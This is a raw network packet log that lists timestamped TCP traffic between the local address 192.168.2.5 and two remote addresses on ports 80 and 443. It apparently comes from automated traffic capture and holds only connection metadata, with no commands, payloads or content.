Feb 22, 2025 00:51:36.904146910 CET	49717	80	192.168.2.5	188.114.96.3
Feb 22, 2025 00:51:36.904858112 CET	80	49717	188.114.96.3	192.168.2.5
Feb 22, 2025 00:51:36.904912949 CET	80	49717	188.114.96.3	192.168.2.5
Feb 22, 2025 00:51:36.904922962 CET	80	49717	188.114.96.3	192.168.2.5
Feb 22, 2025 00:51:36.904974937 CET	49717	80	192.168.2.5	188.114.96.3
Feb 22, 2025 00:51:36.905694008 CET	80	49717	188.114.96.3	192.168.2.5
Feb 22, 2025 00:51:36.905731916 CET	80	49717	188.114.96.3	192.168.2.5
Feb 22, 2025 00:51:36.905731916 CET	49717	80	192.168.2.5	188.114.96.3
Feb 22, 2025 00:51:36.905745029 CET	80	49717	188.114.96.3	192.168.2.5
Feb 22, 2025 00:51:36.905769110 CET	49717	80	192.168.2.5	188.114.96.3
Feb 22, 2025 00:51:36.906563997 CET	80	49717	188.114.96.3	192.168.2.5
Feb 22, 2025 00:51:36.906574011 CET	80	49717	188.114.96.3	192.168.2.5
Feb 22, 2025 00:51:36.906605005 CET	49717	80	192.168.2.5	188.114.96.3
Feb 22, 2025 00:51:36.908068895 CET	80	49717	188.114.96.3	192.168.2.5
Feb 22, 2025 00:51:36.951273918 CET	49717	80	192.168.2.5	188.114.96.3
Feb 22, 2025 00:51:36.971115112 CET	80	49713	188.114.96.3	192.168.2.5
Feb 22, 2025 00:51:36.971151114 CET	80	49713	188.114.96.3	192.168.2.5
Feb 22, 2025 00:51:36.971162081 CET	80	49713	188.114.96.3	192.168.2.5
Feb 22, 2025 00:51:36.971307993 CET	80	49713	188.114.96.3	192.168.2.5
Feb 22, 2025 00:51:36.971322060 CET	49713	80	192.168.2.5	188.114.96.3
Feb 22, 2025 00:51:36.971345901 CET	49713	80	192.168.2.5	188.114.96.3
Feb 22, 2025 00:51:36.971379042 CET	80	49713	188.114.96.3	192.168.2.5
Feb 22, 2025 00:51:36.971391916 CET	80	49713	188.114.96.3	192.168.2.5
Feb 22, 2025 00:51:36.971458912 CET	80	49713	188.114.96.3	192.168.2.5
Feb 22, 2025 00:51:36.971479893 CET	49713	80	192.168.2.5	188.114.96.3
Feb 22, 2025 00:51:36.972218037 CET	80	49713	188.114.96.3	192.168.2.5
Feb 22, 2025 00:51:36.972279072 CET	80	49713	188.114.96.3	192.168.2.5
Feb 22, 2025 00:51:36.972290993 CET	80	49713	188.114.96.3	192.168.2.5
Feb 22, 2025 00:51:36.972328901 CET	49713	80	192.168.2.5	188.114.96.3
Feb 22, 2025 00:51:36.972328901 CET	49713	80	192.168.2.5	188.114.96.3
Feb 22, 2025 00:51:36.972373962 CET	80	49713	188.114.96.3	192.168.2.5
Feb 22, 2025 00:51:36.973167896 CET	80	49713	188.114.96.3	192.168.2.5
Feb 22, 2025 00:51:36.973189116 CET	80	49713	188.114.96.3	192.168.2.5
Feb 22, 2025 00:51:36.973200083 CET	80	49713	188.114.96.3	192.168.2.5
Feb 22, 2025 00:51:36.973238945 CET	49713	80	192.168.2.5	188.114.96.3
Feb 22, 2025 00:51:36.973263979 CET	49713	80	192.168.2.5	188.114.96.3
Feb 22, 2025 00:51:36.973278046 CET	80	49713	188.114.96.3	192.168.2.5
Feb 22, 2025 00:51:36.974046946 CET	80	49713	188.114.96.3	192.168.2.5
Feb 22, 2025 00:51:36.974101067 CET	49713	80	192.168.2.5	188.114.96.3
Feb 22, 2025 00:51:36.974117041 CET	80	49713	188.114.96.3	192.168.2.5
Feb 22, 2025 00:51:36.974128962 CET	80	49713	188.114.96.3	192.168.2.5
Feb 22, 2025 00:51:36.974159002 CET	49713	80	192.168.2.5	188.114.96.3
Feb 22, 2025 00:51:36.974179029 CET	80	49713	188.114.96.3	192.168.2.5
Feb 22, 2025 00:51:36.974961996 CET	80	49713	188.114.96.3	192.168.2.5
Feb 22, 2025 00:51:36.975009918 CET	80	49713	188.114.96.3	192.168.2.5
Feb 22, 2025 00:51:36.975022078 CET	80	49713	188.114.96.3	192.168.2.5
Feb 22, 2025 00:51:36.975039959 CET	49713	80	192.168.2.5	188.114.96.3
Feb 22, 2025 00:51:36.975064039 CET	49713	80	192.168.2.5	188.114.96.3
Feb 22, 2025 00:51:36.975146055 CET	80	49713	188.114.96.3	192.168.2.5
Feb 22, 2025 00:51:36.975960016 CET	80	49713	188.114.96.3	192.168.2.5
Feb 22, 2025 00:51:36.975971937 CET	80	49713	188.114.96.3	192.168.2.5
Feb 22, 2025 00:51:36.975981951 CET	80	49713	188.114.96.3	192.168.2.5
Feb 22, 2025 00:51:36.976038933 CET	49713	80	192.168.2.5	188.114.96.3
Feb 22, 2025 00:51:36.976038933 CET	49713	80	192.168.2.5	188.114.96.3
Feb 22, 2025 00:51:36.976062059 CET	80	49713	188.114.96.3	192.168.2.5
Feb 22, 2025 00:51:36.976798058 CET	80	49713	188.114.96.3	192.168.2.5
Feb 22, 2025 00:51:36.976830959 CET	80	49713	188.114.96.3	192.168.2.5
Feb 22, 2025 00:51:36.976840973 CET	80	49713	188.114.96.3	192.168.2.5
Feb 22, 2025 00:51:36.976893902 CET	49713	80	192.168.2.5	188.114.96.3
Feb 22, 2025 00:51:36.976960897 CET	80	49713	188.114.96.3	192.168.2.5
Feb 22, 2025 00:51:36.977688074 CET	80	49713	188.114.96.3	192.168.2.5
Feb 22, 2025 00:51:36.977736950 CET	49713	80	192.168.2.5	188.114.96.3
Feb 22, 2025 00:51:36.977746010 CET	80	49713	188.114.96.3	192.168.2.5
Feb 22, 2025 00:51:36.977758884 CET	80	49713	188.114.96.3	192.168.2.5
Feb 22, 2025 00:51:36.977796078 CET	49713	80	192.168.2.5	188.114.96.3
Feb 22, 2025 00:51:36.977863073 CET	80	49713	188.114.96.3	192.168.2.5
Feb 22, 2025 00:51:36.978698969 CET	80	49713	188.114.96.3	192.168.2.5
Feb 22, 2025 00:51:36.978708982 CET	80	49713	188.114.96.3	192.168.2.5
Feb 22, 2025 00:51:36.978720903 CET	80	49713	188.114.96.3	192.168.2.5
Feb 22, 2025 00:51:36.978732109 CET	80	49713	188.114.96.3	192.168.2.5
Feb 22, 2025 00:51:36.978746891 CET	49713	80	192.168.2.5	188.114.96.3
Feb 22, 2025 00:51:36.978791952 CET	49713	80	192.168.2.5	188.114.96.3
Feb 22, 2025 00:51:36.979518890 CET	80	49713	188.114.96.3	192.168.2.5
Feb 22, 2025 00:51:36.979576111 CET	80	49713	188.114.96.3	192.168.2.5
Feb 22, 2025 00:51:36.979587078 CET	80	49713	188.114.96.3	192.168.2.5
Feb 22, 2025 00:51:36.979588032 CET	49713	80	192.168.2.5	188.114.96.3
Feb 22, 2025 00:51:36.979633093 CET	80	49713	188.114.96.3	192.168.2.5
Feb 22, 2025 00:51:36.979644060 CET	49713	80	192.168.2.5	188.114.96.3
Feb 22, 2025 00:51:36.980504990 CET	80	49713	188.114.96.3	192.168.2.5
Feb 22, 2025 00:51:36.980515957 CET	80	49713	188.114.96.3	192.168.2.5
Feb 22, 2025 00:51:36.980525970 CET	80	49713	188.114.96.3	192.168.2.5
Feb 22, 2025 00:51:36.980537891 CET	80	49713	188.114.96.3	192.168.2.5
Feb 22, 2025 00:51:36.980561972 CET	49713	80	192.168.2.5	188.114.96.3
Feb 22, 2025 00:51:36.980628014 CET	49713	80	192.168.2.5	188.114.96.3
Feb 22, 2025 00:51:36.981333971 CET	80	49713	188.114.96.3	192.168.2.5
Feb 22, 2025 00:51:36.981345892 CET	80	49713	188.114.96.3	192.168.2.5
Feb 22, 2025 00:51:36.981388092 CET	49713	80	192.168.2.5	188.114.96.3
Feb 22, 2025 00:51:36.981842041 CET	80	49713	188.114.96.3	192.168.2.5
Feb 22, 2025 00:51:36.981885910 CET	49713	80	192.168.2.5	188.114.96.3
Feb 22, 2025 00:51:36.981899023 CET	80	49713	188.114.96.3	192.168.2.5
Feb 22, 2025 00:51:36.981914043 CET	80	49713	188.114.96.3	192.168.2.5
Feb 22, 2025 00:51:36.981945038 CET	49713	80	192.168.2.5	188.114.96.3
Feb 22, 2025 00:51:36.981956005 CET	80	49713	188.114.96.3	192.168.2.5
Feb 22, 2025 00:51:36.991425991 CET	80	49717	188.114.96.3	192.168.2.5
Feb 22, 2025 00:51:36.991452932 CET	80	49717	188.114.96.3	192.168.2.5
Feb 22, 2025 00:51:36.991497993 CET	49717	80	192.168.2.5	188.114.96.3
Feb 22, 2025 00:51:36.991554022 CET	80	49717	188.114.96.3	192.168.2.5
Feb 22, 2025 00:51:36.991573095 CET	80	49717	188.114.96.3	192.168.2.5
Feb 22, 2025 00:51:36.991583109 CET	80	49717	188.114.96.3	192.168.2.5
Feb 22, 2025 00:51:36.991620064 CET	49717	80	192.168.2.5	188.114.96.3
Feb 22, 2025 00:51:36.992024899 CET	80	49717	188.114.96.3	192.168.2.5
Feb 22, 2025 00:51:36.992070913 CET	49717	80	192.168.2.5	188.114.96.3
Feb 22, 2025 00:51:36.992100000 CET	80	49717	188.114.96.3	192.168.2.5
Feb 22, 2025 00:51:36.992111921 CET	80	49717	188.114.96.3	192.168.2.5
Feb 22, 2025 00:51:36.992173910 CET	49717	80	192.168.2.5	188.114.96.3
Feb 22, 2025 00:51:36.992187023 CET	80	49717	188.114.96.3	192.168.2.5
Feb 22, 2025 00:51:36.992882967 CET	80	49717	188.114.96.3	192.168.2.5
Feb 22, 2025 00:51:36.992925882 CET	49717	80	192.168.2.5	188.114.96.3
Feb 22, 2025 00:51:36.992928028 CET	80	49717	188.114.96.3	192.168.2.5
Feb 22, 2025 00:51:36.992938995 CET	80	49717	188.114.96.3	192.168.2.5
Feb 22, 2025 00:51:36.993002892 CET	49717	80	192.168.2.5	188.114.96.3
Feb 22, 2025 00:51:36.993007898 CET	80	49717	188.114.96.3	192.168.2.5
Feb 22, 2025 00:51:36.993510008 CET	80	49717	188.114.96.3	192.168.2.5
Feb 22, 2025 00:51:36.993549109 CET	49717	80	192.168.2.5	188.114.96.3
Feb 22, 2025 00:51:36.993560076 CET	80	49717	188.114.96.3	192.168.2.5
Feb 22, 2025 00:51:36.993571997 CET	80	49717	188.114.96.3	192.168.2.5
Feb 22, 2025 00:51:36.993609905 CET	49717	80	192.168.2.5	188.114.96.3
Feb 22, 2025 00:51:36.993627071 CET	80	49717	188.114.96.3	192.168.2.5
Feb 22, 2025 00:51:36.994314909 CET	80	49717	188.114.96.3	192.168.2.5
Feb 22, 2025 00:51:36.994359970 CET	80	49717	188.114.96.3	192.168.2.5
Feb 22, 2025 00:51:36.994369984 CET	80	49717	188.114.96.3	192.168.2.5
Feb 22, 2025 00:51:36.994406939 CET	49717	80	192.168.2.5	188.114.96.3
Feb 22, 2025 00:51:36.994441986 CET	49717	80	192.168.2.5	188.114.96.3
Feb 22, 2025 00:51:36.994453907 CET	80	49717	188.114.96.3	192.168.2.5
Feb 22, 2025 00:51:36.995160103 CET	80	49717	188.114.96.3	192.168.2.5
Feb 22, 2025 00:51:36.995213032 CET	80	49717	188.114.96.3	192.168.2.5
Feb 22, 2025 00:51:36.995223045 CET	80	49717	188.114.96.3	192.168.2.5
Feb 22, 2025 00:51:36.995264053 CET	49717	80	192.168.2.5	188.114.96.3
Feb 22, 2025 00:51:37.023101091 CET	49713	80	192.168.2.5	188.114.96.3
Feb 22, 2025 00:51:37.059880972 CET	80	49713	188.114.96.3	192.168.2.5
Feb 22, 2025 00:51:37.059930086 CET	80	49713	188.114.96.3	192.168.2.5
Feb 22, 2025 00:51:37.059947014 CET	80	49713	188.114.96.3	192.168.2.5
Feb 22, 2025 00:51:37.059982061 CET	80	49713	188.114.96.3	192.168.2.5
Feb 22, 2025 00:51:37.060003042 CET	49713	80	192.168.2.5	188.114.96.3
Feb 22, 2025 00:51:37.060039997 CET	80	49713	188.114.96.3	192.168.2.5
Feb 22, 2025 00:51:37.060076952 CET	80	49713	188.114.96.3	192.168.2.5
Feb 22, 2025 00:51:37.060087919 CET	80	49713	188.114.96.3	192.168.2.5
Feb 22, 2025 00:51:37.060118914 CET	49713	80	192.168.2.5	188.114.96.3
Feb 22, 2025 00:51:37.060220957 CET	80	49713	188.114.96.3	192.168.2.5
Feb 22, 2025 00:51:37.060231924 CET	80	49713	188.114.96.3	192.168.2.5
Feb 22, 2025 00:51:37.060242891 CET	80	49713	188.114.96.3	192.168.2.5
Feb 22, 2025 00:51:37.060252905 CET	80	49713	188.114.96.3	192.168.2.5
Feb 22, 2025 00:51:37.060262918 CET	49713	80	192.168.2.5	188.114.96.3
Feb 22, 2025 00:51:37.060262918 CET	49713	80	192.168.2.5	188.114.96.3
Feb 22, 2025 00:51:37.060362101 CET	49713	80	192.168.2.5	188.114.96.3
Feb 22, 2025 00:51:37.060365915 CET	80	49713	188.114.96.3	192.168.2.5
Feb 22, 2025 00:51:37.060596943 CET	80	49713	188.114.96.3	192.168.2.5
Feb 22, 2025 00:51:37.060635090 CET	80	49713	188.114.96.3	192.168.2.5
Feb 22, 2025 00:51:37.060643911 CET	49713	80	192.168.2.5	188.114.96.3
Feb 22, 2025 00:51:37.060646057 CET	80	49713	188.114.96.3	192.168.2.5
Feb 22, 2025 00:51:37.060740948 CET	49713	80	192.168.2.5	188.114.96.3
Feb 22, 2025 00:51:37.060817003 CET	80	49713	188.114.96.3	192.168.2.5
Feb 22, 2025 00:51:37.060827971 CET	80	49713	188.114.96.3	192.168.2.5
Feb 22, 2025 00:51:37.060837984 CET	80	49713	188.114.96.3	192.168.2.5
Feb 22, 2025 00:51:37.060849905 CET	80	49713	188.114.96.3	192.168.2.5
Feb 22, 2025 00:51:37.060864925 CET	49713	80	192.168.2.5	188.114.96.3
Feb 22, 2025 00:51:37.060925007 CET	49713	80	192.168.2.5	188.114.96.3
Feb 22, 2025 00:51:37.060980082 CET	80	49713	188.114.96.3	192.168.2.5
Feb 22, 2025 00:51:37.060991049 CET	80	49713	188.114.96.3	192.168.2.5
Feb 22, 2025 00:51:37.061001062 CET	80	49713	188.114.96.3	192.168.2.5
Feb 22, 2025 00:51:37.061067104 CET	49713	80	192.168.2.5	188.114.96.3
Feb 22, 2025 00:51:37.061067104 CET	49713	80	192.168.2.5	188.114.96.3
Feb 22, 2025 00:51:37.061424971 CET	80	49713	188.114.96.3	192.168.2.5
Feb 22, 2025 00:51:37.061435938 CET	80	49713	188.114.96.3	192.168.2.5
Feb 22, 2025 00:51:37.061490059 CET	80	49713	188.114.96.3	192.168.2.5
Feb 22, 2025 00:51:37.061506033 CET	49713	80	192.168.2.5	188.114.96.3
Feb 22, 2025 00:51:37.061542034 CET	80	49713	188.114.96.3	192.168.2.5
Feb 22, 2025 00:51:37.061553001 CET	80	49713	188.114.96.3	192.168.2.5
Feb 22, 2025 00:51:37.061582088 CET	49713	80	192.168.2.5	188.114.96.3
Feb 22, 2025 00:51:37.061671019 CET	80	49713	188.114.96.3	192.168.2.5
Feb 22, 2025 00:51:37.061681986 CET	80	49713	188.114.96.3	192.168.2.5
Feb 22, 2025 00:51:37.061693907 CET	80	49713	188.114.96.3	192.168.2.5
Feb 22, 2025 00:51:37.061703920 CET	80	49713	188.114.96.3	192.168.2.5
Feb 22, 2025 00:51:37.061728001 CET	49713	80	192.168.2.5	188.114.96.3
Feb 22, 2025 00:51:37.061784983 CET	49713	80	192.168.2.5	188.114.96.3
Feb 22, 2025 00:51:37.061896086 CET	80	49713	188.114.96.3	192.168.2.5
Feb 22, 2025 00:51:37.061908007 CET	80	49713	188.114.96.3	192.168.2.5
Feb 22, 2025 00:51:37.061918020 CET	80	49713	188.114.96.3	192.168.2.5
Feb 22, 2025 00:51:37.061928988 CET	80	49713	188.114.96.3	192.168.2.5
Feb 22, 2025 00:51:37.061948061 CET	49713	80	192.168.2.5	188.114.96.3
Feb 22, 2025 00:51:37.061985970 CET	49713	80	192.168.2.5	188.114.96.3
Feb 22, 2025 00:51:37.062408924 CET	80	49713	188.114.96.3	192.168.2.5
Feb 22, 2025 00:51:37.062460899 CET	49713	80	192.168.2.5	188.114.96.3
Feb 22, 2025 00:51:37.062469959 CET	80	49713	188.114.96.3	192.168.2.5
Feb 22, 2025 00:51:37.062483072 CET	80	49713	188.114.96.3	192.168.2.5
Feb 22, 2025 00:51:37.062541008 CET	49713	80	192.168.2.5	188.114.96.3
Feb 22, 2025 00:51:37.062596083 CET	80	49713	188.114.96.3	192.168.2.5
Feb 22, 2025 00:51:37.062608004 CET	80	49713	188.114.96.3	192.168.2.5
Feb 22, 2025 00:51:37.062618017 CET	80	49713	188.114.96.3	192.168.2.5
Feb 22, 2025 00:51:37.062731981 CET	49713	80	192.168.2.5	188.114.96.3
Feb 22, 2025 00:51:37.062828064 CET	80	49713	188.114.96.3	192.168.2.5
Feb 22, 2025 00:51:37.062839031 CET	80	49713	188.114.96.3	192.168.2.5
Feb 22, 2025 00:51:37.062849045 CET	80	49713	188.114.96.3	192.168.2.5
Feb 22, 2025 00:51:37.062859058 CET	80	49713	188.114.96.3	192.168.2.5
Feb 22, 2025 00:51:37.062870026 CET	80	49713	188.114.96.3	192.168.2.5
Feb 22, 2025 00:51:37.062902927 CET	49713	80	192.168.2.5	188.114.96.3
Feb 22, 2025 00:51:37.062903881 CET	49713	80	192.168.2.5	188.114.96.3
Feb 22, 2025 00:51:37.062932014 CET	49713	80	192.168.2.5	188.114.96.3
Feb 22, 2025 00:51:37.063338041 CET	80	49713	188.114.96.3	192.168.2.5
Feb 22, 2025 00:51:37.063389063 CET	80	49713	188.114.96.3	192.168.2.5
Feb 22, 2025 00:51:37.063399076 CET	80	49713	188.114.96.3	192.168.2.5
Feb 22, 2025 00:51:37.063452959 CET	49713	80	192.168.2.5	188.114.96.3
Feb 22, 2025 00:51:37.063560963 CET	80	49713	188.114.96.3	192.168.2.5
Feb 22, 2025 00:51:37.063571930 CET	80	49713	188.114.96.3	192.168.2.5
Feb 22, 2025 00:51:37.063581944 CET	80	49713	188.114.96.3	192.168.2.5
Feb 22, 2025 00:51:37.063591957 CET	80	49713	188.114.96.3	192.168.2.5
Feb 22, 2025 00:51:37.063611984 CET	49713	80	192.168.2.5	188.114.96.3
Feb 22, 2025 00:51:37.063673973 CET	49713	80	192.168.2.5	188.114.96.3
Feb 22, 2025 00:51:37.063749075 CET	80	49713	188.114.96.3	192.168.2.5
Feb 22, 2025 00:51:37.063766003 CET	80	49713	188.114.96.3	192.168.2.5
Feb 22, 2025 00:51:37.063776970 CET	80	49713	188.114.96.3	192.168.2.5
Feb 22, 2025 00:51:37.063818932 CET	49713	80	192.168.2.5	188.114.96.3
Feb 22, 2025 00:51:37.063837051 CET	49713	80	192.168.2.5	188.114.96.3
Feb 22, 2025 00:51:37.063875914 CET	80	49713	188.114.96.3	192.168.2.5
Feb 22, 2025 00:51:37.064363956 CET	80	49713	188.114.96.3	192.168.2.5
Feb 22, 2025 00:51:37.064374924 CET	80	49713	188.114.96.3	192.168.2.5
Feb 22, 2025 00:51:37.064384937 CET	80	49713	188.114.96.3	192.168.2.5
Feb 22, 2025 00:51:37.064415932 CET	49713	80	192.168.2.5	188.114.96.3
Feb 22, 2025 00:51:37.064452887 CET	80	49713	188.114.96.3	192.168.2.5
Feb 22, 2025 00:51:37.064464092 CET	80	49713	188.114.96.3	192.168.2.5
Feb 22, 2025 00:51:37.064472914 CET	80	49713	188.114.96.3	192.168.2.5
Feb 22, 2025 00:51:37.064483881 CET	80	49713	188.114.96.3	192.168.2.5
Feb 22, 2025 00:51:37.064502001 CET	49713	80	192.168.2.5	188.114.96.3
Feb 22, 2025 00:51:37.064502001 CET	49713	80	192.168.2.5	188.114.96.3
Feb 22, 2025 00:51:37.064671993 CET	80	49713	188.114.96.3	192.168.2.5
Feb 22, 2025 00:51:37.064683914 CET	80	49713	188.114.96.3	192.168.2.5
Feb 22, 2025 00:51:37.064692974 CET	80	49713	188.114.96.3	192.168.2.5
Feb 22, 2025 00:51:37.064693928 CET	49713	80	192.168.2.5	188.114.96.3
Feb 22, 2025 00:51:37.064704895 CET	80	49713	188.114.96.3	192.168.2.5
Feb 22, 2025 00:51:37.064815044 CET	49713	80	192.168.2.5	188.114.96.3
Feb 22, 2025 00:51:37.064852953 CET	49713	80	192.168.2.5	188.114.96.3
Feb 22, 2025 00:51:37.065165997 CET	80	49713	188.114.96.3	192.168.2.5
Feb 22, 2025 00:51:37.065212965 CET	80	49713	188.114.96.3	192.168.2.5
Feb 22, 2025 00:51:37.065222025 CET	80	49713	188.114.96.3	192.168.2.5
Feb 22, 2025 00:51:37.065277100 CET	49713	80	192.168.2.5	188.114.96.3
Feb 22, 2025 00:51:37.065363884 CET	80	49713	188.114.96.3	192.168.2.5
Feb 22, 2025 00:51:37.065377951 CET	80	49713	188.114.96.3	192.168.2.5
Feb 22, 2025 00:51:37.065387964 CET	80	49713	188.114.96.3	192.168.2.5
Feb 22, 2025 00:51:37.065397978 CET	80	49713	188.114.96.3	192.168.2.5
Feb 22, 2025 00:51:37.065416098 CET	49713	80	192.168.2.5	188.114.96.3
Feb 22, 2025 00:51:37.065474033 CET	49713	80	192.168.2.5	188.114.96.3
Feb 22, 2025 00:51:37.065557003 CET	80	49713	188.114.96.3	192.168.2.5
Feb 22, 2025 00:51:37.065614939 CET	49713	80	192.168.2.5	188.114.96.3
Feb 22, 2025 00:51:37.065620899 CET	80	49713	188.114.96.3	192.168.2.5
Feb 22, 2025 00:51:37.065633059 CET	80	49713	188.114.96.3	192.168.2.5
Feb 22, 2025 00:51:37.065644026 CET	80	49713	188.114.96.3	192.168.2.5
Feb 22, 2025 00:51:37.065725088 CET	49713	80	192.168.2.5	188.114.96.3
Feb 22, 2025 00:51:37.066123009 CET	80	49713	188.114.96.3	192.168.2.5
Feb 22, 2025 00:51:37.066396952 CET	49713	80	192.168.2.5	188.114.96.3
Feb 22, 2025 00:51:37.068273067 CET	80	49713	188.114.96.3	192.168.2.5
Feb 22, 2025 00:51:37.068284035 CET	80	49713	188.114.96.3	192.168.2.5
Feb 22, 2025 00:51:37.068295002 CET	80	49713	188.114.96.3	192.168.2.5
Feb 22, 2025 00:51:37.068327904 CET	49713	80	192.168.2.5	188.114.96.3
Feb 22, 2025 00:51:37.068434954 CET	80	49713	188.114.96.3	192.168.2.5
Feb 22, 2025 00:51:37.068445921 CET	80	49713	188.114.96.3	192.168.2.5
Feb 22, 2025 00:51:37.068455935 CET	80	49713	188.114.96.3	192.168.2.5
Feb 22, 2025 00:51:37.068516970 CET	49713	80	192.168.2.5	188.114.96.3
Feb 22, 2025 00:51:37.068517923 CET	49713	80	192.168.2.5	188.114.96.3
Feb 22, 2025 00:51:37.069894075 CET	80	49713	188.114.96.3	192.168.2.5
Feb 22, 2025 00:51:37.069962025 CET	80	49713	188.114.96.3	192.168.2.5
Feb 22, 2025 00:51:37.069972992 CET	80	49713	188.114.96.3	192.168.2.5
Feb 22, 2025 00:51:37.070023060 CET	49713	80	192.168.2.5	188.114.96.3
Feb 22, 2025 00:51:37.070081949 CET	80	49713	188.114.96.3	192.168.2.5
Feb 22, 2025 00:51:37.070092916 CET	80	49713	188.114.96.3	192.168.2.5
Feb 22, 2025 00:51:37.070118904 CET	49713	80	192.168.2.5	188.114.96.3
Feb 22, 2025 00:51:37.079138041 CET	49713	80	192.168.2.5	188.114.96.3
Feb 22, 2025 00:51:37.085796118 CET	443	49719	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:37.086019039 CET	49719	443	192.168.2.5	188.114.97.3
Feb 22, 2025 00:51:37.086044073 CET	443	49719	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:37.086647987 CET	80	49713	188.114.96.3	192.168.2.5
Feb 22, 2025 00:51:37.087521076 CET	443	49719	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:37.087590933 CET	49719	443	192.168.2.5	188.114.97.3
Feb 22, 2025 00:51:37.088088989 CET	49719	443	192.168.2.5	188.114.97.3
Feb 22, 2025 00:51:37.088126898 CET	49719	443	192.168.2.5	188.114.97.3
Feb 22, 2025 00:51:37.088187933 CET	443	49719	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:37.088191986 CET	49719	443	192.168.2.5	188.114.97.3
Feb 22, 2025 00:51:37.088243008 CET	49719	443	192.168.2.5	188.114.97.3
Feb 22, 2025 00:51:37.088596106 CET	49723	443	192.168.2.5	188.114.97.3
Feb 22, 2025 00:51:37.088633060 CET	443	49723	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:37.088696003 CET	49723	443	192.168.2.5	188.114.97.3
Feb 22, 2025 00:51:37.089487076 CET	49723	443	192.168.2.5	188.114.97.3
Feb 22, 2025 00:51:37.089505911 CET	443	49723	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:37.092237949 CET	49724	443	192.168.2.5	188.114.97.3
Feb 22, 2025 00:51:37.092282057 CET	443	49724	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:37.092457056 CET	49724	443	192.168.2.5	188.114.97.3
Feb 22, 2025 00:51:37.092771053 CET	49724	443	192.168.2.5	188.114.97.3
Feb 22, 2025 00:51:37.092787027 CET	443	49724	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:37.121848106 CET	443	49720	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:37.122277975 CET	49720	443	192.168.2.5	188.114.97.3
Feb 22, 2025 00:51:37.122308016 CET	443	49720	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:37.123358965 CET	443	49720	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:37.123461962 CET	49720	443	192.168.2.5	188.114.97.3
Feb 22, 2025 00:51:37.123867035 CET	49720	443	192.168.2.5	188.114.97.3
Feb 22, 2025 00:51:37.123892069 CET	49720	443	192.168.2.5	188.114.97.3
Feb 22, 2025 00:51:37.123934984 CET	443	49720	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:37.124103069 CET	443	49720	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:37.124227047 CET	49720	443	192.168.2.5	188.114.97.3
Feb 22, 2025 00:51:37.124264002 CET	49720	443	192.168.2.5	188.114.97.3
Feb 22, 2025 00:51:37.124279022 CET	443	49720	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:37.124294996 CET	49720	443	192.168.2.5	188.114.97.3
Feb 22, 2025 00:51:37.124330997 CET	49720	443	192.168.2.5	188.114.97.3
Feb 22, 2025 00:51:37.124830961 CET	49725	443	192.168.2.5	188.114.97.3
Feb 22, 2025 00:51:37.124861956 CET	443	49725	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:37.124977112 CET	49725	443	192.168.2.5	188.114.97.3
Feb 22, 2025 00:51:37.125200033 CET	49725	443	192.168.2.5	188.114.97.3
Feb 22, 2025 00:51:37.125216007 CET	443	49725	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:37.194612026 CET	80	49713	188.114.96.3	192.168.2.5
Feb 22, 2025 00:51:37.194632053 CET	80	49713	188.114.96.3	192.168.2.5
Feb 22, 2025 00:51:37.194643974 CET	80	49713	188.114.96.3	192.168.2.5
Feb 22, 2025 00:51:37.194714069 CET	49713	80	192.168.2.5	188.114.96.3
Feb 22, 2025 00:51:37.240642071 CET	49713	80	192.168.2.5	188.114.96.3
Feb 22, 2025 00:51:37.245326996 CET	443	49722	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:37.270653009 CET	49722	443	192.168.2.5	188.114.97.3
Feb 22, 2025 00:51:37.270684004 CET	443	49722	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:37.271969080 CET	443	49722	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:37.272044897 CET	49722	443	192.168.2.5	188.114.97.3
Feb 22, 2025 00:51:37.274564981 CET	49722	443	192.168.2.5	188.114.97.3
Feb 22, 2025 00:51:37.274679899 CET	443	49722	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:37.274764061 CET	49722	443	192.168.2.5	188.114.97.3
Feb 22, 2025 00:51:37.283536911 CET	49726	443	192.168.2.5	188.114.97.3
Feb 22, 2025 00:51:37.283576965 CET	443	49726	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:37.283643007 CET	49726	443	192.168.2.5	188.114.97.3
Feb 22, 2025 00:51:37.284003019 CET	49726	443	192.168.2.5	188.114.97.3
Feb 22, 2025 00:51:37.284014940 CET	443	49726	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:37.318564892 CET	49722	443	192.168.2.5	188.114.97.3
Feb 22, 2025 00:51:37.318592072 CET	443	49722	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:37.364393950 CET	49722	443	192.168.2.5	188.114.97.3
Feb 22, 2025 00:51:37.388925076 CET	443	49722	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:37.388998032 CET	443	49722	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:37.389056921 CET	49722	443	192.168.2.5	188.114.97.3
Feb 22, 2025 00:51:37.390021086 CET	49722	443	192.168.2.5	188.114.97.3
Feb 22, 2025 00:51:37.390042067 CET	443	49722	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:37.563827038 CET	443	49724	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:37.564183950 CET	49724	443	192.168.2.5	188.114.97.3
Feb 22, 2025 00:51:37.564212084 CET	443	49724	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:37.565237045 CET	443	49724	188.114.97.3	192.168.2.5
Feb 22, 2025 00:51:37.565299034 CET	49724	443	192.168.2.5	188.114.97.3
Feb 22, 2025 00:51:37.566118956 CET	49724	443	192.168.2.5	188.114.97.3
Feb 22, 2025 00:51:37.566164970 CET	49724	443	192.168.2.5	188.114.97.3
Feb 22, 2025 00:51:37.566175938 CET	443	49724	188.114.97.3	192.168.2.5
